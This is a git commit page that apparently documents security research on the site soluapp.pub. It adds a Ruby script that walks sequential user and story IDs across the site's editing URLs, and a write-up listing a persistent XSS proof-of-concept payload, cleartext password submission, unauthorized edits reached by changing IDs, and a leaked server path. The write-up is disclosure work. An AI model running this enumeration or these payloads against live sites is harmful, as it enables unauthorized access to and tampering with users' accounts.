not adding to index since site has been taken down, but can now add without notification
This commit is contained in:
parent
1ed628f90b
commit
4e0b5b87a9
160
solu/soluapp-enumerator.rb
Normal file
160
solu/soluapp-enumerator.rb
Normal file
@ -0,0 +1,160 @@
|
||||
#!/usr/bin/env ruby
|
||||
## soluapp-enumerator.rb - enumerates soluapp.pub IDs for users and stories
|
||||
|
||||
require 'digest'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
module Soluapp
|
||||
|
||||
URL_TEMPLATES = {
|
||||
:one => {
|
||||
:legacy_chapter => 'http://soluapp.pub/legacy-chapter.php?id=%i',
|
||||
:story_slide => 'http://soluapp.pub/story_slide.php?userid=%i&key=0&ty=',
|
||||
},
|
||||
:two => {
|
||||
:last_story => 'http://soluapp.pub/legacy/last_story1.php?userid=%i&id=%i&img=bg_image7.png&key=0&ty=&chapkey=0',
|
||||
:write_legacy => 'http://soluapp.pub/legacy/write_legacy.php?id=%i&img=&key=&chapkey=&ty=&user=%i',
|
||||
},
|
||||
:buckle_my_shoe => {},
|
||||
}
|
||||
|
||||
class Utility
|
||||
|
||||
def self.get_url_one(type, id)
|
||||
sprintf(URL_TEMPLATES[:one][type], id)
|
||||
end
|
||||
|
||||
def self.get_url_two(type, id1, id2)
|
||||
sprintf(URL_TEMPLATES[:two][type], id1, id2)
|
||||
end
|
||||
|
||||
def self.get_url(url)
|
||||
uri = URI.parse(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
http.use_ssl = false
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
|
||||
if response.code.eql?('301')
|
||||
return self.get_url(response.header['location'])
|
||||
end
|
||||
|
||||
response
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
class Response
|
||||
|
||||
attr_reader :url, :response, :hash, :size, :success
|
||||
|
||||
def initialize(url, response)
|
||||
@url = url
|
||||
@response = response
|
||||
@success = ! response.code.match(/4.*/)
|
||||
|
||||
@hash = Digest::MD5.hexdigest(response.body)
|
||||
@size = response.body.length
|
||||
end
|
||||
end
|
||||
|
||||
class Application
|
||||
attr_reader :type, :ceiling, :floor, :responses
|
||||
|
||||
def initialize(type, ceiling = 10_000, floor = 0)
|
||||
@type = type.to_sym
|
||||
@ceiling = ceiling
|
||||
@floor = floor
|
||||
@responses = Array.new
|
||||
|
||||
raise StandardError.new(sprintf('invalid type[%s] specified', type)) unless URL_TEMPLATES[:one].has_key?(type) or URL_TEMPLATES[:two].has_key?(type)
|
||||
end
|
||||
|
||||
def inspect
|
||||
candidate = {
|
||||
:type => @type,
|
||||
:ceiling => @ceiling,
|
||||
:floor => @floor,
|
||||
}
|
||||
|
||||
candidate.delete(:floor) if @floor.eql?(0)
|
||||
candidate
|
||||
end
|
||||
|
||||
def to_s
|
||||
self.inspect.to_s
|
||||
end
|
||||
|
||||
def request!
|
||||
|
||||
return request_url_one if URL_TEMPLATES[:one].has_key?(@type)
|
||||
return request_url_two if URL_TEMPLATES[:two].has_key?(@type)
|
||||
|
||||
end
|
||||
|
||||
def request_url_one
|
||||
|
||||
@floor.upto(@ceiling) do |i|
|
||||
url = Soluapp::Utility.get_url_one(@type, i)
|
||||
response = Soluapp::Utility.get_url(url)
|
||||
@responses << Soluapp::Response.new(url, response)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def request_url_two
|
||||
|
||||
@floor.upto(@ceiling) do |i|
|
||||
@floor.upto(@ceiling) do |j|
|
||||
url = Soluapp::Utility.get_url_two(@type, i, j)
|
||||
response = Soluapp::Utility.get_url(url)
|
||||
@responses << Soluapp::Response.new(url, response)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def summarize
|
||||
successes = @responses.select { |r| r.success.eql?(true) }
|
||||
failures = @responses - successes
|
||||
|
||||
puts sprintf('total responses[%i]', @responses.size)
|
||||
puts sprintf(' successful responses[%i]', successes.size)
|
||||
puts sprintf(' failed responses [%i]', failures.size)
|
||||
|
||||
sizes = Hash.new(0)
|
||||
successes.each do |s|
|
||||
sizes[s.size] += 1
|
||||
end
|
||||
|
||||
puts sprintf('size distribution[%s]', sizes)
|
||||
|
||||
md5s = Hash.new('')
|
||||
successes.each do |s|
|
||||
md5s[s.hash] += 1
|
||||
end
|
||||
|
||||
puts sprintf('hash distribution[%s]', md5s)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
ceiling = 10
|
||||
floor = 0
|
||||
|
||||
[
|
||||
:legacy_chapter,
|
||||
:story_slide,
|
||||
:last_story,
|
||||
:write_legacy,
|
||||
].each do |type|
|
||||
app = Soluapp::Application.new(type, ceiling, floor)
|
||||
|
||||
app.request!
|
||||
|
||||
app.summarize
|
||||
|
||||
end
|
77
solu/soluapp.pub.md
Normal file
77
solu/soluapp.pub.md
Normal file
@ -0,0 +1,77 @@
|
||||
# solu.pub vulnerabilities
|
||||
|
||||
## intro
|
||||
|
||||
* [persistent XSS](#XSS)
|
||||
* [HTTP passing passwords in clear](#cleartext-passwords)
|
||||
* [incremental IDs for users and posts](#incremental-ids)
|
||||
* [last_story1.php vs. last_story.php](#last_story.php)
|
||||
* [creating stories with free account](#free-account-story-creation)
|
||||
|
||||
## XSS
|
||||
|
||||
on http://soluapp.pub/legacy/legacy-chapter1.php, both are persistent:
|
||||
|
||||
* Legacy Title
|
||||
* Chapter Title (is run 2x per page load)
|
||||
|
||||
POC input value: `"><script>alert('foo')</script>`
|
||||
|
||||
given the basic nature of this string, imagining that many of the other input fields are similarly vulnerable,
|
||||
and that no XSS mitigation whatsoever is being done.
|
||||
|
||||
## HTTP passing cleatext passwords
|
||||
|
||||
i couldn't find any resources on this site that were served over SSL, and of particular concern is the email (login page)[http://soluapp.pub/signin2.html], which sends:
|
||||
|
||||
```
|
||||
POST /php/signin.php HTTP/1.1
|
||||
Host: soluapp.pub
|
||||
Connection: keep-alive
|
||||
Content-Length: 61
|
||||
Accept: */*
|
||||
Origin: http://soluapp.pub
|
||||
X-Requested-With: XMLHttpRequest
|
||||
User-Agent: <redacted>
|
||||
Referer: http://soluapp.pub/signin2.html
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.8
|
||||
Cookie: PHPSESSID=<redacted>; intercom-id-l2bhyx5c=85d1329e-1353-4c01-b4fa-e48e14c6d985; _gat=1; _ga=GA1.2.1803746552.1482791071
|
||||
|
||||
&Email_Address=<redacted>&Password=<redacted>
|
||||
```
|
||||
|
||||
## incremental IDs
|
||||
|
||||
## last_story.php
|
||||
|
||||
public entrance/landing page URLs:
|
||||
* http://soluapp.pub/legacy-chapter.php?id=2074 -- <user1> (randomly chosen)
|
||||
* http://soluapp.pub/legacy-chapter.php?id=917 -- <user2> (free)
|
||||
* http://soluapp.pub/legacy-chapter.php?id=5288 -- <user3> (paid)
|
||||
|
||||
public story URL:
|
||||
* http://soluapp.pub/story_slide.php?userid=196&ty=I%20came%20for%20the%20winter...&key=0
|
||||
|
||||
private/editing pages had the following URLs:
|
||||
* http://soluapp.pub/legacy/last_story1.php?userid=882&id=5288&img=bg_image7.png&key=0&ty=&chapkey=0
|
||||
* http://soluapp.pub/legacy/write_legacy.php?id=5288&img=&key=&chapkey=&ty=&user=882
|
||||
|
||||
simply by changing the userid (or post id) and using the /legacy/ URLs, even while logged in as my user,
|
||||
i am able to make unauthorized changes.
|
||||
|
||||
to find more users, one could simply try 0..10_000 as userid values in
|
||||
|
||||
## free account story creation
|
||||
|
||||
by visiting while signed in with a free account, these allow creation of stories:
|
||||
* http://soluapp.pub/record_next.php
|
||||
* http://soluapp.pub/all_chapter1_alt.php
|
||||
|
||||
`http://soluapp.pub/legacy/write_legacy.php?id=&img=&key=&chapkey=&ty=&user=917` leaks path information:
|
||||
```
|
||||
<b>Fatal error</b>: Call to a member function fetch_assoc() on a non-object in <b>/home/soluapp/public_html/legacy/write_legacy.php</b> on line <b>620</b><br />
|
||||
```
|
||||
|
||||
---
|
||||
http://soluapp.pub/audio_record.php?story_title=%22%3E%3Cscript%3Ealert%28%27foo%27%29%3C%2Fscript%3E&audio=
|
Loading…
Reference in New Issue
Block a user